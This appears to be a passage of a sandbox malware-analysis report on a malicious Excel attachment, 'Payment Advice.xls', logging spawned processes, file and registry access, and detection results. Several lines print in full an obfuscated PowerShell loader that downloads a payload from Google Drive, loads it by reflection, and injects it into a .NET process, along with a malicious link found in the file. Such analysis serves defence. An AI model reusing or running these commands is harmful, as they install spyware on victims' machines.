Gcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Memory allocated: 770B0000 page execute and read and write

Source: Payment Advice.xls

OLE indicator, VBA macros: true

Source: Payment Advice.xls	Stream path 'MBD000EF6BF/\x1Ole' : https://qrisni.me/8qnMUw?&italian=tough&bladder=wrathful&singer=juvenile&tugboat=nebulous&poignance=purple&twig=mature&constant=many&set=frightened&section~;~=Icr%2Pp.)i Y"h$Twr>_)rhAy7=#+62-_/W?Bc$~IS-(?6O,RlI:s-g W\S1>j9?v0AJK&n{kK=#g,G-FHAOXyrgp5yb0YpME6AxsN0ilvIHT24XfrPTxlVBlJjgJuQ9HsrNM3iHFQT1NkOrWNCLyQM7iA79AnTd7d3uMBWj6Na%i.Rf.cG#\T
Source: DA430000.0.dr	Stream path 'MBD000EF6BF/\x1Ole' : https://qrisni.me/8qnMUw?&italian=tough&bladder=wrathful&singer=juvenile&tugboat=nebulous&poignance=purple&twig=mature&constant=many&set=frightened&section~;~=Icr%2Pp.)i Y"h$Twr>_)rhAy7=#+62-_/W?Bc$~IS-(?6O,RlI:s-g W\S1>j9?v0AJK&n{kK=#g,G-FHAOXyrgp5yb0YpME6AxsN0ilvIHT24XfrPTxlVBlJjgJuQ9HsrNM3iHFQT1NkOrWNCLyQM7iA79AnTd7d3uMBWj6Na%i.Rf.cG#\T

Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Registry key queried: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\52.0.1 (x86 en-US)\Main Install Directory

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2358
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2358
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2358	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2358

Source: Process Memory Space: powershell.exe PID: 1372, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 252, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winXLS@34/47@7/6

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\DA430000

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Mutant created: \Sessions\1\BaseNamedObjects\DE4229FCF97F5879F50F8FD3

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRA39E.tmp

Jump to behavior

Source: Payment Advice.xls	OLE indicator, Workbook stream: true
Source: DA430000.0.dr	OLE indicator, Workbook stream: true

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P..............0.m.......m.....Pq......................Pq......Xq.......................3......X...............Pq..............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................h(........................m.....}..w......m......................1......(.P.....\.......d.......X...............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P................m.......m.....}..w.............................1......(.P..............3...................... K..............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm................$......*.k....}..w.... K......\.......................(.P.....\.......d.......8.$.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................ K......}..w.............-_.....#-.k....@.^.....(.P.....\.......d.......................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm................$......*.k....}..w.... K......\.......................(.P.....\.......d.......8.$.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................ K......}..w.............-_.....#-.k....@.^.....(.P.....\.......d.......................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.......$.....N.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..-_.....#-.k....@.^.....(.P.....\.......d.........$..... .......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .D.E.V.i.C.e.C.R.E.d.e.n.t.i.a.l.D.E.p.L.o.y.M.E.n.t.(.P.....\.......d.........$.....8.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.(.P.....\.......d.........$.....8.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................ K......}..w.............-_.....#-.k....@.^.....(.P.....\.......d.......................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...d.........$.....F.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................ K......}..w.............-_.....#-.k....@.^.....(.P.....\.......d...............l.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ ....... K......}..w.............-_.....#-.k....@.^.....(.P.....\.......d.........$.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P..............0.m.......m.....`.......................`.......h........................3......................`...............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................h(........................m.....}..w......m......................1......(.P.....................................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P..............T.r.u.e...m.....}..w.............................1......(.P..............3......................p...............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................h(........................m.....}..w......m......................1......(.P.....4...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..(..............P................m.......m.....}..w.............................1......(.P..............3........(.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm.......................\|.l....}..w............\.......................(.P.....................................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..(.............................................}..w..............a.....#..l.... .`.....(.P.......................(.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm.......................\|.l....}..w............\.......................(.P.....................................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..(.............................................}..w..............a.....#..l.... .`.....(.P.......................(.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.....8.......N.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1...a.....#..l.... .`.....(.P.....................8....... .......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .D.E.V.i.C.e.C.R.E.d.e.n.t.i.a.l.D.E.p.L.o.y.M.E.n.t.(.P.....................8.......8.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.(.P.....................8.......8.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..(.............................................}..w..............a.....#..l.... .`.....(.P.......................(.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...........8.......F.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..(.............................................}..w..............a.....#..l.... .`.....(.P.......................(.....l.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ ...............}..w..............a.....#..l.... .`.....(.P.....................8...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P..............T.r.u.e...m.....}..w.............................1......(.P..............3......H...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................h(........................m.....}..w......m......................1......(.P.............h.......H...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..3.............................................}..w............8.......8.......@"......(.P.............h.........3.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm.......................N.l....}..w............\.......................(.P.............h.......x...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.8.8.1.....CN.l............(.P.............h...............$.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm.......................N.l....}..w............\.......................(.P.............h.......x...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..3.............................................}..w............ }z.....CN.l............(.P.............h.........3.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..3.............................................}..w............ }z.....CN.l............(.P.............h.........3.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..3.............................................}..w............ }z.....CN.l............(.P.............h.........3.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..3.............................................}..w............ }z.....CN.l............(.P.............h.........3.....X.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ ...............}..w............ }z.....CN.l............(.P.............h.......................................

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Payment Advice.xls

ReversingLabs: Detection: 18%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
